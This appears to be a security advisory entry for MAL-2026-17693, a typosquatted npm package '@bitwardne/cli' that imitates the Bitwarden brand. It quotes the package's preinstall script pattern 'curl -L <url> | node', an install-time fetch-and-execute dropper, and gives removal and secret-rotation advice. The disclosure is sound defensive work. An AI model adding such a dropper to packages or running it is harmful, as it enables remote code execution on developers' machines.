MAL-2026-17693 Malicious code in @bitwardne/cli (npm)

Malicious package Published
Package
@bitwardne/cli
Registry
npm

What is MAL-2026-17693?

MAL-2026-17693 is a malicious package in @bitwardne/cli, published on 8 Oct 2026.

Official description

package.json declares a preinstall lifecycle script of the form 'curl -L <url> | node', which fetches remote content and executes it in Node at npm install time. In this published version the URL slot is empty so the command fails as shipped, but the script shape is a canonical install-time remote-code-execution dropper that fires automatically on npm install. The package is published under the @bitwardne scope — a one-character variation of the Bitwarden brand — while the shipped source is a verbatim copy of the unrelated 'cli' option-parser library by Chris O'Hara (homepage node-js-libs/cli), with no legitimate connection between the scope name and the vendored code.

What should I do about MAL-2026-17693?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

Sources

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